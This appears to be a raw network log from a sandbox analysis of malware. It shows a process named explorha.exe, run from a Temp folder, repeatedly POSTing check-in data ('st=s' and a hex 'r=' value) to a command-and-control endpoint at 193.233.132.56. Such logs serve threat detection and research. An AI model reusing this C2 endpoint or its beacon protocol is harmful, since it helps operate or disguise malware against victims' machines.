Apr 19, 2024 03:29:47.009947062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49823	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:47.367412090 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:47.616369009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:47.618335009 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:47.873434067 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49824	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:48.233275890 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:48.482053995 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:48.483079910 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:48.737075090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49828	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:49.100488901 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:49.348460913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:49.349280119 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:49.603646040 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49829	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:49.955645084 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:50.198474884 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:50.199327946 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:50.447232962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49832	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:50.847054958 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:51.094971895 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:51.104715109 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:51.357671976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49836	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:51.728240013 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:51.976005077 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:51.977514029 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:52.229557991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49839	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:52.583226919 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:52.831265926 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:52.832276106 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:53.082236052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49845	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:53.539917946 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:53.788292885 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:53.791858912 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:54.046080112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49848	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:54.485090017 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:54.734884977 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:54.735728979 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:54.994165897 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49851	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:55.343691111 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:55.585202932 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:55.586237907 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:55.832709074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49854	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:56.196598053 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:56.448996067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:56.450054884 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:56.707727909 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49856	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:57.069612026 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:57.318077087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:57.318840981 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:57.571655989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49861	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:57.932446957 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:58.183828115 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
